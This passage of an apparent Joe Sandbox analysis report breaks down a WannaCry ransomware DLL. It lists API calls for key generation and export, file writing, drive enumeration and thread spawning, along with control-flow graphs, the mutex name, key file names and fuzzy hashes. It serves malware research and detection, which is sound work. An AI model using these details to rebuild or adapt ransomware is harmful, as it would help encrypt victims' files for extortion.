                                                                                                        • _local_unwind2.MSVCRT ref: 100040D0
                                                                                                        • CreateFileA.KERNELBASE(10003B63,40000000,00000000,00000000,00000002,00000080,00000000), ref: 10004101
                                                                                                        • WriteFile.KERNELBASE(00000000,00000000,00000008,?,00000000), ref: 10004122
                                                                                                        • _local_unwind2.MSVCRT ref: 10004132
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: File_local_unwind2$AllocCreateCryptExportGlobalWrite
                                                                                                        • String ID:
                                                                                                        • API String ID: 3505601379-0
                                                                                                        • Opcode ID: e4b24a4896234405ddc3ddca99fc1a5403f2d49dbf9026041e1240e4559407fe
                                                                                                        • Instruction ID: f2e4c173d5c66980f3caf99a3bd82662d3c6a30a16efd476d92b7f0e9405a5ca
                                                                                                        • Opcode Fuzzy Hash: e4b24a4896234405ddc3ddca99fc1a5403f2d49dbf9026041e1240e4559407fe
                                                                                                        • Instruction Fuzzy Hash: 4E3150B1D10225ABE720CB948C45FEFB7BCFB49BA0F200759FA25B21C4E775690487A4
                                                                                                        Function 10003F00 Relevance: 10.6, APIs: 7, Instructions: 107fileCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 10003F45
                                                                                                        • GetFileSize.KERNEL32(00000000,00000000), ref: 10003F5B
                                                                                                        • _local_unwind2.MSVCRT ref: 10004017
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: File$CreateSize_local_unwind2
                                                                                                        • String ID:
                                                                                                        • API String ID: 1039228802-0
                                                                                                        • Opcode ID: a418ad88937dbf3f3f2f90a93e697cbecaf6d1334aa3d5b8eb2f9d90e99da0df
                                                                                                        • Instruction ID: e4fcb762b0a2cf85546a5226953a162905cdc9c51df010501401105139b3880b
                                                                                                        • Opcode Fuzzy Hash: a418ad88937dbf3f3f2f90a93e697cbecaf6d1334aa3d5b8eb2f9d90e99da0df
                                                                                                        • Instruction Fuzzy Hash: C23150B1D04219ABEB10CF988C84FBFB7BCF7487A0F104729FA28A22D4E73558018764
                                                                                                        Function 10004170 Relevance: 7.7, APIs: 5, Instructions: 168encryptionCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • CryptExportKey.ADVAPI32(?,00000000,?,00000000,?,?,00000008,?,?,?,10003C7F,?,?,?,00000007,00000000), ref: 100041AD
                                                                                                        • CryptGetKeyParam.ADVAPI32(?,00000008,?,?,00000000,?,?,10003C7F,?,?,?,00000007,00000000), ref: 100041DF
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Crypt$ExportParam
                                                                                                        • String ID:
                                                                                                        • API String ID: 2541419234-0
                                                                                                        • Opcode ID: 83fd7636ed65e7b4624369af09241801eb1dccb5b71602364eee19c08e2797c0
                                                                                                        • Instruction ID: 80228a1e7adbe0cc537bf2fc0d3ef992fb5bf6351f3b42e9d805a86e7a99636c
                                                                                                        • Opcode Fuzzy Hash: 83fd7636ed65e7b4624369af09241801eb1dccb5b71602364eee19c08e2797c0
                                                                                                        • Instruction Fuzzy Hash: DB51E6716083428FE314CF14D888B9BB7E9FBD8394F51082EF585C7250E774AA49CB62
                                                                                                        Function 10004370 Relevance: 6.1, APIs: 4, Instructions: 75COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 4ea3eeb4338976af1b49ef32fc0f27f3129d97ac1d5a3798dafd0532e56462bc
                                                                                                        • Instruction ID: 759c0a14362a556fbf2cad353e51d727f5decb9fea83b105da684ea7e7d84043
                                                                                                        • Opcode Fuzzy Hash: 4ea3eeb4338976af1b49ef32fc0f27f3129d97ac1d5a3798dafd0532e56462bc
                                                                                                        • Instruction Fuzzy Hash: 12118E763043159BE700DEA9EC84FABB3D8EBC46A1F01842AFA41C7245DB61E855DBB0
                                                                                                        Function 10003AC0 Relevance: 4.6, APIs: 3, Instructions: 97encryptionCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                          • Part of subcall function 10003A80: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,75733310,75733310,10003D9E,?,75733310,00000000), ref: 10003A9D
                                                                                                        • CryptImportKey.ADVAPI32(?,1000D054,00000114,?,?,00000008,?,00000000,00000000,10005C48,00000000.pky,00000000.eky), ref: 10003AF9
                                                                                                          • Part of subcall function 10003BB0: CryptDestroyKey.ADVAPI32(?,75733310,10003EFD,10003EE0,?,?,?,?,?,?,?,75733310,00000000), ref: 10003BBB
                                                                                                          • Part of subcall function 10003BB0: CryptDestroyKey.ADVAPI32(?,75733310,10003EFD,10003EE0,?,?,?,?,?,?,?,75733310,00000000), ref: 10003BD0
                                                                                                          • Part of subcall function 10003BB0: CryptReleaseContext.ADVAPI32(?,00000000,75733310,10003EFD,10003EE0,?,?,?,?,?,?,?,75733310,00000000), ref: 10003BE7
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Crypt$ContextDestroy$AcquireImportRelease
                                                                                                        • String ID:
                                                                                                        • API String ID: 3621138593-0
                                                                                                        • Opcode ID: cf7f808b5e395eb40acbcfc562c684f46bddb0717363dabebf02d7c2591c2498
                                                                                                        • Instruction ID: eeddb810c8b0980dadc4d2239f662fd7310c3eb3cb20e166202ef2aa935ebe17
                                                                                                        • Opcode Fuzzy Hash: cf7f808b5e395eb40acbcfc562c684f46bddb0717363dabebf02d7c2591c2498
                                                                                                        • Instruction Fuzzy Hash: 222190763006116BF616EA259C80FAF73DCEB80AD8701C42EFB45D7149EB20EC0583B1
                                                                                                        Function 10004790 Relevance: 4.5, APIs: 3, Instructions: 27sleepthreadCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • time.MSVCRT ref: 100047AA
                                                                                                          • Part of subcall function 10004730: CreateFileA.KERNELBASE(00000000.res,40000000,00000001,00000000,00000004,00000080,00000000,00000000,?,10005A09), ref: 10004749
                                                                                                        • Sleep.KERNELBASE(000003E8), ref: 100047C9
                                                                                                        • ExitThread.KERNEL32 ref: 100047DC
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CreateExitFileSleepThreadtime
                                                                                                        • String ID:
                                                                                                        • API String ID: 2783800087-0
                                                                                                        • Opcode ID: 78c4880712248404ecc2fa0409a3760e6f5b1b32e76aedbac21b59ea9dd33f48
                                                                                                        • Instruction ID: 044671865621f727fe7313d62920a2e240410ece8b56ecd1862d79b3c5d98fe8
                                                                                                        • Opcode Fuzzy Hash: 78c4880712248404ecc2fa0409a3760e6f5b1b32e76aedbac21b59ea9dd33f48
                                                                                                        • Instruction Fuzzy Hash: 98E065B1A043619BF240EB659CC1F1A73E4FB066C1F030116E90DC725CDB25EC118B75
                                                                                                        Function 10003BB0 Relevance: 4.5, APIs: 3, Instructions: 24encryptionCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • CryptDestroyKey.ADVAPI32(?,75733310,10003EFD,10003EE0,?,?,?,?,?,?,?,75733310,00000000), ref: 10003BBB
                                                                                                        • CryptDestroyKey.ADVAPI32(?,75733310,10003EFD,10003EE0,?,?,?,?,?,?,?,75733310,00000000), ref: 10003BD0
                                                                                                        • CryptReleaseContext.ADVAPI32(?,00000000,75733310,10003EFD,10003EE0,?,?,?,?,?,?,?,75733310,00000000), ref: 10003BE7
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Crypt$Destroy$ContextRelease
                                                                                                        • String ID:
                                                                                                        • API String ID: 1308222791-0
                                                                                                        • Opcode ID: 4ea7f1e0a1fd2f9fb43590626c22c626a955715fbfba3da651db7abaaf502b5e
                                                                                                        • Instruction ID: f1cc2cf111f110fe811ea6370cd5c313e44567005eb2b288da12d319a42cafb9
                                                                                                        • Opcode Fuzzy Hash: 4ea7f1e0a1fd2f9fb43590626c22c626a955715fbfba3da651db7abaaf502b5e
                                                                                                        • Instruction Fuzzy Hash: B4E0E5706007119BF7609F26D888F1777ECAF447A4F01C81DF49AD7694CBB8E8408B60
                                                                                                        Function 100053F0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: NameUser_wcsicmp
                                                                                                        • String ID:
                                                                                                        • API String ID: 46677947-0
                                                                                                        • Opcode ID: 3af6ba93c841a6dfec5909aa4c30899397575f505b83a40fa5704630c05f9164
                                                                                                        • Instruction ID: 442cefb67fd77dc7d4c6c862235f07921af60ab383b0b3296d28c7faf1cdecfa
                                                                                                        • Opcode Fuzzy Hash: 3af6ba93c841a6dfec5909aa4c30899397575f505b83a40fa5704630c05f9164
                                                                                                        • Instruction Fuzzy Hash: 7DF0C875508341ABE710DB54C888BAFB3A4FFD4740F00882CF5AC432A5E6759544CB52
                                                                                                        Function 10003A80 Relevance: 1.5, APIs: 1, Instructions: 26encryptionCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,75733310,75733310,10003D9E,?,75733310,00000000), ref: 10003A9D
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: AcquireContextCrypt
                                                                                                        • String ID:
                                                                                                        • API String ID: 3951991833-0
                                                                                                        • Opcode ID: 1e2b99b261f434a8758b3837a499fa881346a9b5b9ef7b17a4a540f9265623f0
                                                                                                        • Instruction ID: b1332512aa3679c9017294848d65a50e9c060540053565e5952685b00fb9941e
                                                                                                        • Opcode Fuzzy Hash: 1e2b99b261f434a8758b3837a499fa881346a9b5b9ef7b17a4a540f9265623f0
                                                                                                        • Instruction Fuzzy Hash: 18E02B3374013025F350952EFC01BEB974CD7D2AA1F114026FC45E608CC641CC4780E0
                                                                                                        Function 10003C00 Relevance: 1.5, APIs: 1, Instructions: 20encryptionCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • CryptDestroyKey.ADVAPI32(?,?,00000000,10003B1E,?,?,00000000,00000000,10005C48,00000000.pky,00000000.eky), ref: 10003C0F
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CryptDestroy
                                                                                                        • String ID:
                                                                                                        • API String ID: 1712904745-0
                                                                                                        • Opcode ID: d386fcc28a35982a40e03e9a25c01c0b6323731e41e54903f2a0c06f0d45bc19
                                                                                                        • Instruction ID: 216831db427efc8a39eef34e2a2769008fc1dd1c1a321c3d2b98954c70c139aa
                                                                                                        • Opcode Fuzzy Hash: d386fcc28a35982a40e03e9a25c01c0b6323731e41e54903f2a0c06f0d45bc19
                                                                                                        • Instruction Fuzzy Hash: 20E0ECB6600512ABE7149B1AD844E67FBACEF953A0B01892AF918D3215DB70E855CAA0
                                                                                                        Function 10004350 Relevance: 1.5, APIs: 1, Instructions: 11encryptionCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • CryptGenKey.ADVAPI32(?,00000001,08000001,?,10003B4D,?,00000008), ref: 10004361
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Crypt
                                                                                                        • String ID:
                                                                                                        • API String ID: 993010335-0
                                                                                                        • Opcode ID: 189f3ff24126c5494ac2e443b09d7a469fabf7adb680102c7679118783c231a7
                                                                                                        • Instruction ID: cc008437c8a41955c005fef3a11886c117b5a20c5dc68c389fd3f57f9cb059c2
                                                                                                        • Opcode Fuzzy Hash: 189f3ff24126c5494ac2e443b09d7a469fabf7adb680102c7679118783c231a7
                                                                                                        • Instruction Fuzzy Hash: 82C08C703A43037FEA208B38CC81E2A3396A780B02F000A08B046C60C8CAB1C8408A10
                                                                                                        Function 10005AE0 Relevance: 59.7, APIs: 28, Strings: 6, Instructions: 223threadsleepsynchronizationCOMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 87 10005ae0-10005b06 88 10005d64 87->88 89 10005b0c-10005b13 call 10004690 87->89 91 10005d66-10005d7d 88->91 89->88 93 10005b19-10005b5f GetModuleFileNameW wcsrchr 89->93 94 10005b70-10005b8c SetCurrentDirectoryW call 10001000 93->94 95 10005b61-10005b6d wcsrchr 93->95 94->88 98 10005b92-10005ba3 call 100012d0 call 10003410 94->98 95->94 98->88 103 10005ba9-10005be7 sprintf * 3 call 10004600 98->103 106 10005d42-10005d5e CreateThread WaitForSingleObject CloseHandle 103->106 107 10005bed-10005bf8 call 10004500 103->107 106->88 107->106 110 10005bfe-10005c15 ??2@YAPAXI@Z 107->110 111 10005c22 110->111 112 10005c17-10005c20 call 10003a10 110->112 113 10005c24-10005c31 111->113 112->113 113->88 115 10005c37-10005c4a call 10003ac0 113->115 115->88 119 10005c50-10005c57 call 100046d0 115->119 122 10005c61-10005c89 DeleteFileA call 10004420 119->122 123 10005c59-10005c5f 119->123 124 10005c8e-10005cb8 call 10003bb0 CreateThread 122->124 123->122 123->124 129 10005cba-10005cbb FindCloseChangeNotification 124->129 130 10005cbd-10005cd5 Sleep CreateThread 124->130 129->130 131 10005cd7-10005cd8 CloseHandle 130->131 132 10005cda-10005d03 Sleep CreateThread Sleep CreateThread 130->132 131->132 133 10005d05-10005d06 FindCloseChangeNotification 132->133 134 10005d08-10005d1f Sleep CreateThread 132->134 133->134 135 10005d21-10005d22 CloseHandle 134->135 136 10005d24-10005d28 Sleep call 100057c0 134->136 135->136 138 10005d2d-10005d2f 136->138 139 10005d31-10005d3b WaitForSingleObject CloseHandle 138->139 140 10005d3d-10005d40 138->140 139->140 140->91
                                                                                                        APIs
                                                                                                          • Part of subcall function 10004690: CreateMutexA.KERNELBASE(00000000,00000001,MsWinZonesCacheCounterMutexA,?,10005B11), ref: 1000469A
                                                                                                          • Part of subcall function 10004690: GetLastError.KERNEL32(?,10005B11), ref: 100046A6
                                                                                                          • Part of subcall function 10004690: CloseHandle.KERNEL32(00000000,?,10005B11), ref: 100046B4
                                                                                                        • GetModuleFileNameW.KERNEL32(?,?,00000103), ref: 10005B45
                                                                                                        • wcsrchr.MSVCRT ref: 10005B58
                                                                                                        • wcsrchr.MSVCRT ref: 10005B68
                                                                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 10005B75
                                                                                                        • sprintf.MSVCRT ref: 10005BBA
                                                                                                        • sprintf.MSVCRT ref: 10005BCA
                                                                                                        • sprintf.MSVCRT ref: 10005BDA
                                                                                                        • ??2@YAPAXI@Z.MSVCRT ref: 10005C00
                                                                                                        • DeleteFileA.KERNELBASE(00000000.res,00000000.pky,00000000.eky), ref: 10005C66
                                                                                                        • CreateThread.KERNELBASE(00000000,00000000,10004790,00000000,00000000,00000000), ref: 10005CAE
                                                                                                        • FindCloseChangeNotification.KERNELBASE(00000000,?,1000DC68,00000008), ref: 10005CBB
                                                                                                        • Sleep.KERNELBASE(00000064,?,1000DC68,00000008), ref: 10005CC5
                                                                                                        • CreateThread.KERNELBASE(00000000,00000000,100045C0,00000000,00000000,00000000), ref: 10005CD1
                                                                                                        • CloseHandle.KERNEL32(00000000,?,1000DC68,00000008), ref: 10005CD8
                                                                                                        • Sleep.KERNELBASE(00000064,?,1000DC68,00000008), ref: 10005CDC
                                                                                                        • CreateThread.KERNELBASE(00000000,00000000,10005730,00000000,00000000,00000000), ref: 10005CE8
                                                                                                        • Sleep.KERNELBASE(00000064,?,1000DC68,00000008), ref: 10005CEE
                                                                                                        • CreateThread.KERNELBASE(00000000,00000000,10005300,00000000,00000000,00000000), ref: 10005CFF
                                                                                                        • FindCloseChangeNotification.KERNELBASE(00000000,?,1000DC68,00000008), ref: 10005D06
                                                                                                        • Sleep.KERNELBASE(00000064,?,1000DC68,00000008), ref: 10005D0A
                                                                                                        • CreateThread.KERNELBASE(00000000,00000000,10004990,00000000,00000000,00000000), ref: 10005D1B
                                                                                                        • CloseHandle.KERNEL32(00000000,?,1000DC68,00000008), ref: 10005D22
                                                                                                        • Sleep.KERNELBASE(00000064,?,1000DC68,00000008), ref: 10005D26
                                                                                                        • WaitForSingleObject.KERNEL32(00000000,000000FF,?,1000DC68,00000008), ref: 10005D34
                                                                                                        • CloseHandle.KERNEL32(00000000,?,1000DC68,00000008), ref: 10005D3B
                                                                                                        • CreateThread.KERNEL32(00000000,00000000,10004990,00000000,00000000,00000000), ref: 10005D4C
                                                                                                        • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10005D57
                                                                                                        • CloseHandle.KERNEL32(00000000), ref: 10005D5E
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CloseCreate$Thread$HandleSleep$sprintf$ChangeFileFindNotificationObjectSingleWaitwcsrchr$??2@CurrentDeleteDirectoryErrorLastModuleMutexName
                                                                                                        • String ID: %08X.eky$%08X.pky$%08X.res$00000000.eky$00000000.pky$00000000.res
                                                                                                        • API String ID: 559266157-2804955549
                                                                                                        • Opcode ID: ee5fbc7882673b08fa3466ba53b034e2caa2d0a80666ceeab9f5b650b967e4bc
                                                                                                        • Instruction ID: e4175da2d662a7d129a6a1c994910e1168799e87a5461eb6227fef153a444960
                                                                                                        • Opcode Fuzzy Hash: ee5fbc7882673b08fa3466ba53b034e2caa2d0a80666ceeab9f5b650b967e4bc
                                                                                                        • Instruction Fuzzy Hash: 0051B1B1A00355BBF620EBB49CC9FAF369CEB446C5F010926FA05961C9EF75AC008676
                                                                                                        Function 100057C0 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 227sleepCOMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 221 100057c0-1000580e call 10001590 call 10001830 226 10005814-10005822 GetFileAttributesA 221->226 227 10005aae-10005ada call 10001680 221->227 228 10005834-1000583a 226->228 229 10005824-1000582f call 100018f0 226->229 232 10005884-100058a5 call 10004cd0 call 10004df0 call 10005480 228->232 233 1000583c-10005881 time call 10004730 sprintf call 10001080 call 10001000 228->233 229->228 232->227 247 100058ab-100058b4 232->247 233->232 248 100058ba-100058d1 InterlockedExchange 247->248 249 100058d3-10005919 call 10001080 * 5 248->249 250 1000591c-10005924 GetLogicalDrives 248->250 249->250 251 10005926 250->251 253 1000592b-1000594e 251->253 255 10005950-10005959 253->255 256 10005997-1000599b 253->256 258 10005991-10005995 255->258 259 1000595b-1000595d 255->259 256->251 261 1000599d-100059cc InterlockedExchange call 10004a40 256->261 258->253 258->256 263 1000596d-10005970 259->263 264 1000595f-10005969 GetDriveTypeW 259->264 271 100059f4-10005a0e time call 10004730 261->271 272 100059ce-100059f1 sprintf call 10001080 261->272 268 10005972-1000597c GetDriveTypeW 263->268 269 1000597e-1000598e call 10005540 263->269 264->258 267 1000596b 264->267 267->269 268->258 268->269 269->258 283 10005a10-10005a33 sprintf call 10001080 271->283 284 10005a36-10005a38 271->284 272->271 283->284 286 10005a93-10005aa5 Sleep 284->286 287 10005a3a-10005a44 call 10005190 284->287 288 100058b6 286->288 289 10005aab-10005aad 286->289 293 10005a49-10005a50 287->293 288->248 289->227 293->286 294 10005a52-10005a5b 293->294 295 10005a8d-10005a91 294->295 296 10005a5d-10005a82 GetDriveTypeW 294->296 295->286 295->293 296->295 297 10005a84-10005a8a call 10005190 296->297 297->295
                                                                                                        APIs
                                                                                                          • Part of subcall function 10001590: ??2@YAPAXI@Z.MSVCRT ref: 100015FC
                                                                                                        • GetFileAttributesA.KERNELBASE(f.wnry,00000000.pky,10005340,1000DD8C,75730F10), ref: 10005819
                                                                                                        • time.MSVCRT ref: 1000583D
                                                                                                        • sprintf.MSVCRT ref: 1000585F
                                                                                                        • InterlockedExchange.KERNEL32(1000D4E4,000000FF), ref: 100058C1
                                                                                                        • GetLogicalDrives.KERNELBASE ref: 1000591C
                                                                                                        • GetDriveTypeW.KERNELBASE(?), ref: 10005964
                                                                                                        • GetDriveTypeW.KERNEL32(?), ref: 10005977
                                                                                                        • InterlockedExchange.KERNEL32(1000D4E4,000000FF), ref: 100059A4
                                                                                                        • sprintf.MSVCRT ref: 100059DD
                                                                                                        • time.MSVCRT ref: 100059F6
                                                                                                        • sprintf.MSVCRT ref: 10005A1F
                                                                                                        • GetDriveTypeW.KERNEL32(?), ref: 10005A7D
                                                                                                        • Sleep.KERNEL32(0000EA60), ref: 10005A98
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
